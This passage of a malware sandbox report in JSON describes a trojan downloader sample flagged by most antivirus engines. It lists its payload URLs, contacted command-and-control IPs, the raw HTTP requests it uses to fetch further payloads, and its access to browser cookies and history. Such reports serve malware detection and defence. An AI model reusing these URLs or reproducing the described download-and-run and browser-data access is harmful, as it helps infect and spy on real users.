trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"HVM:TrojanDownloader/Upatre.gen!B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"IKARUS","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader.Win32.Upatre","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader ( 0048f6391 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader.Win32.Upatre.vje","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Generic.wd","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Upatre.efhavh","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"malicious","threat_name":"TrojanDwnldr.Upatre.AA4","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"malicious","threat_name":"Confidence_96","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Dyreza-DF","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"malicious","threat_name":"Downloader.Upatre","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.2203557","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"TROJ_FR.97949EA3","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"TROJ_FR.97949EA3","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Generic.EHP","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"TrojanDownloader.Upatre","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET INFO DYNAMIC_DNS Query to *.dyndns. Domain\" (SID: 2012758, Rev: 4, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"nnjzt.com\"\n \"greenwheeldesign.com\"\n \"checkip.dyndns.org\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"216.146.38.70:80\"\n \"216.146.43.70:80\"\n \"190.111.9.129:14244\"\n \"60.174.234.143:80\"\n \"85.159.233.55:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"\" created file \"%TEMP%\\log776.log\"\n \"\" created file \"%TEMP%\\Goviewer.exe\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!omkduus!appdata!roaming!microsoft!windows!cookies!\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!omkduus!appdata!local!microsoft!windows!history!history.ie5!\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\RasPbFile\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!omkduus!appdata!local!microsoft!windows!temporary internet files!content.ie5!\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\!IETld!Mutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"checkip_dyndns_org[1].htm\" as clean (type is \"HTML document ASCII text with CRLF line terminators\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET / HTTP/1.1\nUser-Agent: Mazilla/5.0\nHost: checkip.dyndns.org\nCache-Control: no-cache\"\n \"GET /wp-includes/images/vicud.png HTTP/1.1\nUser-Agent: Mazilla/5.0\nHost: nnjzt.com\nCache-Control: no-cache\"\n \"GET /condos/vicud.png HTTP/1.1\nUser-Agent: Mazilla/5.0\nHost: greenwheeldesign.com\nCache-Control: no-cache\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"\" loaded module \"%WINDIR%\\System32\\riched32.dll\" at 6F3E0000\n \"\" loaded module \"%WINDIR%\\System32\\riched20.dll\" at 6F360000\n \"Goviewer.exe\" loaded module \"%WINDIR%\\System32\\riched32.dll\" at 6F3D0000\n \"Goviewer.exe\" loaded module \"%WINDIR%\\System32\\riched20.dll\" at 6B9F0000","origin":"Loaded Module","id":"module-2","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"Goviewer.exe\" (UID: 00019394-00002580)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a webserver","description":"\"GET /wp-includes/images/vicud.png HTTP/1.1\nUser-Agent: Mazilla/5.0\nHost: nnjzt.com\nCache-Control: no-cache\"\n \"GET /condos/vicud.png HTTP/1.1\nUser-Agent: Mazilla/5.0\nHost: greenwheeldesign.com\nCache-Control: no-cache\"","origin":"Network Traffic","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"\" connecting to \"\\ThemeApiPort\"\n \"Goviewer.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"Goviewer.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"log776.log\" has type \"data\"\n \"checkip_dyndns_org[1].htm\" has type \"HTML document ASCII text with CRLF line terminators\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$27","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://notepad-plus-plus.org/\"\n Pattern match: \"http://checkip.dyndns.org/\"\n Pattern match: \"http://nnjzt.com/wp-includes/images/vicud.png\"\n Pattern match: \"http://greenwheeldesign.com/condos/vicud.png\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"\n \"Goviewer.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Sets the process error mode to suppress error box","description":"\"\" set its error mode to SEM_NOOPENFILEERRORBOX","origin":"API Call","relevance":8,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"Goviewer.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"Goviewer.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"$28","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"Goviewer.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Writes a PE file header to disc","description":"\"\" wrote 29696 bytes starting with PE header signature to file \"%TEMP%\\Goviewer.exe\": 4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...","origin":"API Call","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Heuristic match: \"Current IP CheckCurrent IP Address: 188.138.33.220\"\n \"216.146.43.70\"\n \"60.174.234.143\"\n \"85.159.233.55\"\n \"190.111.9.129\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$29","origin":"API Call","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$2a","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"Goviewer.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"Goviewer.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"Goviewer.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")\n \"Goviewer.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"Goviewer.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"Goviewer.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetStartupInfoA\n GetModuleHandleA\n LoadLibraryW","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"52/56 Antivirus vendors marked sample as malicious (92% detection rate)\n 33/42 Antivirus vendors marked sample as malicious (78% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"52/56 Antivirus vendors marked sample as malicious (92% detection rate)\n 33/42 Antivirus vendors marked sample as malicious (78% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$2b","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"malicious","category":"Network Related","name":"Tries to identify its external IP address","description":"\"checkip.dyndns.org\"","origin":"Network Traffic","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Accesses potentially sensitive information from local browsers","description":"\"Goviewer.exe\" had access to \"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat\" (Type: \"FileHandle\")\n \"Goviewer.exe\" had access to \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat\" (Type: \"FileHandle\")","origin":"Touched Handle","relevance":5,"id":"handle-0","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]}],"incidents":[{"name":"Remote Access","details_count":2,"details":[{"detail":"Uses network protocols on unusual ports"},{"detail":"Tries to identify its external IP address"}],"sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"Accesses potentially sensitive information from local browsers"}],"sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Tries to identify its external IP address"},{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]}]},"activity":{"stats":{"process_count":2,"spawned_processes_count":2,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":14,"imported_dlls_count":58,"dropped_files_count":0,"extracted_files_count":3,"files_written_count":15,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":5,"dns_resolutions_count":3,"contacted_urls_count":3,"http_requests_count":3},"behavior_tags":null,"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"5857d18aaac2ed6c2a9921a7","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.GenericKD","contacted_countries":["CHN","GTM","NLD","USA"],"submit_name":"86ef282b24dc82c5775d95327ff8fa73","analysis_start_time":"2016-12-19T13:27:42+00:00","indicators_count":{"informative":15,"suspicious":18,"malicious":9},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"216.146.38.70","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"address":"216.146.43.70","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"address":"190.111.9.129","port":14244,"protocol":"TCP","country":"Guatemala","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"address":"60.174.234.143","port":80,"protocol":"TCP","country":"China","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"address":"85.159.233.55","port":80,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]}],"dns_resolutions":[{"domain":"nnjzt.com","address":"60.174.234.143","country":"China","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"domain":"greenwheeldesign.com","address":"85.159.233.55","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"domain":"checkip.dyndns.org","address":"216.146.43.70","country":"United States","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]}],"http_requests":[{"host":"216.146.43.70","host_ip":"216.146.43.70:80","url":"/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET / HTTP/1.1\nUser-Agent: Mazilla/5.0\nHost: checkip.dyndns.org\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"host":"60.174.234.143","host_ip":"60.174.234.143:80","url":"/wp-includes/images/vicud.png","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /wp-includes/images/vicud.png HTTP/1.1\nUser-Agent: Mazilla/5.0\nHost: nnjzt.com\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"host":"85.159.233.55","host_ip":"85.159.233.55:80","url":"/condos/vicud.png","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /condos/vicud.png HTTP/1.1\nUser-Agent: Mazilla/5.0\nHost: greenwheeldesign.com\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}],"processes":[{"pid":2420,"ppid":0,"name":"86ef282b24dc82c5775d95327ff8fa73.exe","command_line":"","normalized_path":"C:\\86ef282b24dc82c5775d95327ff8fa73.exe","uid":"00018805-00002420","icon":"$2c"},{"pid":2580,"ppid":2420,"name":"Goviewer.exe","command_line":"","normalized_path":"%TEMP%\\Goviewer.exe","parent_uid":"00018805-00002420","uid":"00019394-00002580","icon":"$2d"}],"all_imported_dlls":["user32.dll","rpcrt4.dll","crypt32.dll","IPHLPAPI.DLL","winrnr.dll","dwmapi.dll","nsi.dll","dnsapi.dll","apphelp.dll","msctf.dll","rasman.dll","mswsock.dll","gdi32.dll","msvcrt.dll","crtdll.dll","normaliz.dll","riched20.dll","wininet.dll","oleaut32.dll","comctl32.dll","rsaenh.dll","Wldap32.dll","rasapi32.dll","version.dll","rasadhlp.dll","ole32.dll","ntmarta.dll","WSHTCPIP.DLL","ntdll.dll","urlmon.dll","rtutils.dll","sspicli.dll","SensApi.dll","NapiNSP.dll","shlwapi.dll","imm32.dll","KernelBase.dll","lpk.dll","tzres.dll","advapi32.dll","winnsi.dll","kernel32.dll","cryptbase.dll","msasn1.dll","shell32.dll","wship6.dll","usp10.dll","riched32.dll","rpcss.dll","cryptsp.dll","sechost.dll","nlaapi.dll","FWPUCLNT.DLL","uxtheme.dll","iertutil.dll","profapi.dll","ws2_32.dll","pnrpnsp.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"checkip_dyndns_org[1].htm","sha256":"a7ee4c0fd4e6c6bfefc57dbfab343cd9630055a839290e7c40bada160b84bcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"name":"Goviewer.exe","sha256":"4702fdc4487d8d8e657e74d87a3fbc20ca1b433aba29b52891fd83319dc8a209","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"name":"log776.log","sha256":"20ded815eb3adfca077d780bb1a2d28ff908562808bf28ab3cbd843c37bcfe0e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]}],"files_written":[{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"path":"%TEMP%\\Goviewer.exe","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"path":"%WINDIR%\\system32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"path":"%TEMP%\\log776.log","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"path":"C:\\Users\\PSPUBWS","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"path":"%WINDIR%\\system32\\en-US\\urlmon.dll.mui","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!omkduus!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!omkduus!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!omkduus!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"5857d18aaac2ed6c2a9921a7"}]}]}},"report_ids":{"sandbox_job_ids":["5857d18aaac2ed6c2a9921a7"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 4702fdc4487d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 4702fdc4487d…. Malware family: Trojan.Generic. Threat score 100/100. 25/27 AV engines flagged this file. 5 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, 